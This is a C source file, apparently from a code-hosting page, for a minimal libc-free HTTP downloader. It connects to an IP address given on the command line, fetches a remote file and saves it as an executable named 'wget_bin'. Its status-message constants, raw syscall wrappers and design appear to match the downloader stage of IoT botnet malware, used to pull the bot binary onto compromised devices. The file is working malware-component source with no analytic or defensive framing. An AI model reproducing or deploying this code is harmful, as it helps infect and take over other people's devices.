|
||||
#endif
|
||||
|
||||
/* stdlib calls */
|
||||
int xsocket(int, int, int);
|
||||
int xwrite(int, void *, int);
|
||||
int xread(int, void *, int);
|
||||
int xconnect(int, struct sockaddr_in *, int);
|
||||
int xopen(char *, int, int);
|
||||
int xclose(int);
|
||||
void x__exit(int);
|
||||
|
||||
#define socket xsocket
|
||||
#define write xwrite
|
||||
#define read xread
|
||||
#define connect xconnect
|
||||
#define open xopen
|
||||
#define close xclose
|
||||
#define __exit x__exit
|
||||
|
||||
#ifdef DEBUG
|
||||
void xprintf(char *str)
|
||||
{
|
||||
write(1, str, strlen(str));
|
||||
}
|
||||
#define printf xprintf
|
||||
#endif
|
||||
|
||||
// wget ip_address remote_file host
|
||||
int main(int argc, char **args)
|
||||
{
|
||||
char recvbuf[128];
|
||||
struct sockaddr_in addr;
|
||||
int sfd, ffd;
|
||||
unsigned int header_parser = 0;
|
||||
|
||||
write(STDOUT, EXEC_MSG, EXEC_MSG_LEN);
|
||||
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = HTONS(80);
|
||||
addr.sin_addr.s_addr = inet_addr(args[1]);
|
||||
|
||||
ffd = open("wget_bin", O_WRONLY | O_CREAT | O_TRUNC, 0777);
|
||||
sfd = socket(AF_INET, SOCK_STREAM, 0);
|
||||
|
||||
#ifdef DEBUG
|
||||
if (ffd == -1)
|
||||
printf("Failed to open file!\n");
|
||||
if (sfd == -1)
|
||||
printf("Failed to call socket()\n");
|
||||
#endif
|
||||
|
||||
if (sfd == -1 || ffd == -1)
|
||||
__exit(1);
|
||||
|
||||
if (connect(sfd, &addr, sizeof (struct sockaddr_in)) == -1)
|
||||
__exit(2);
|
||||
|
||||
write(sfd, "GET ", 4);
|
||||
write(sfd, args[2], strlen(args[2]));
|
||||
write(sfd, " HTTP/1.1\r\n", 11);
|
||||
write(sfd, "Host: ", 6);
|
||||
write(sfd, args[3], strlen(args[3]));
|
||||
write(sfd, "\r\nConnection: close\r\n\r\n", 23);
|
||||
|
||||
while (header_parser != 0x0d0a0d0a)
|
||||
{
|
||||
char ch;
|
||||
int ret = read(sfd, &ch, 1);
|
||||
|
||||
if (ret != 1)
|
||||
__exit(4);
|
||||
header_parser = (header_parser << 8) | ch;
|
||||
}
|
||||
#ifdef DEBUG
|
||||
printf("Finished receiving HTTP header\n");
|
||||
#endif
|
||||
|
||||
while (1)
|
||||
{
|
||||
int ret = read(sfd, recvbuf, sizeof (recvbuf));
|
||||
|
||||
if (ret <= 0)
|
||||
break;
|
||||
write(ffd, recvbuf, ret);
|
||||
}
|
||||
|
||||
close(sfd);
|
||||
close(ffd);
|
||||
write(STDOUT, DOWNLOAD_MSG, DOWNLOAD_MSG_LEN);
|
||||
__exit(5);
|
||||
}
|
||||
|
||||
int xsocket(int domain, int type, int protocol)
|
||||
{
|
||||
#if !defined(__NR_socket)
|
||||
struct {
|
||||
int domain, type, protocol;
|
||||
} socketcall;
|
||||
socketcall.domain = domain;
|
||||
socketcall.type = type;
|
||||
socketcall.protocol = protocol;
|
||||
return syscall(SCN(SYS_socketcall), 1 /* SYS_SOCKET */, &socketcall);
|
||||
#else
|
||||
return syscall(SCN(SYS_socket), domain, type, protocol);
|
||||
#endif
|
||||
}
|
||||
|
||||
int xread(int fd, void *buf, int len)
|
||||
{
|
||||
return syscall(SCN(SYS_read), fd, buf, len);
|
||||
}
|
||||
|
||||
int xwrite(int fd, void *buf, int len)
|
||||
{
|
||||
return syscall(SCN(SYS_write), fd, buf, len);
|
||||
}
|
||||
|
||||
int xconnect(int fd, struct sockaddr_in *addr, int len)
|
||||
{
|
||||
#if !defined(__NR_socket)
|
||||
struct {
|
||||
int fd;
|
||||
struct sockaddr_in *addr;
|
||||
int len;
|
||||
} socketcall;
|
||||
socketcall.fd = fd;
|
||||
socketcall.addr = addr;
|
||||
socketcall.len = len;
|
||||
return syscall(SCN(SYS_socketcall), 3 /* SYS_CONNECT */, &socketcall);
|
||||
#else
|
||||
return syscall(SCN(SYS_connect), fd, addr, len);
|
||||
#endif
|
||||
}
|
||||
|
||||
int xopen(char *path, int flags, int other)
|
||||
{
|
||||
return syscall(SCN(SYS_open), path, flags, other);
|
||||
}
|
||||
|
||||
int xclose(int fd)
|
||||
{
|
||||
return syscall(SCN(SYS_close), fd);
|
||||
}
|
||||
|
||||
void x__exit(int code)
|
||||
{
|
||||
syscall(SCN(SYS_exit), code);
|
||||
}
|
Loading…
x
Reference in New Issue
Block a user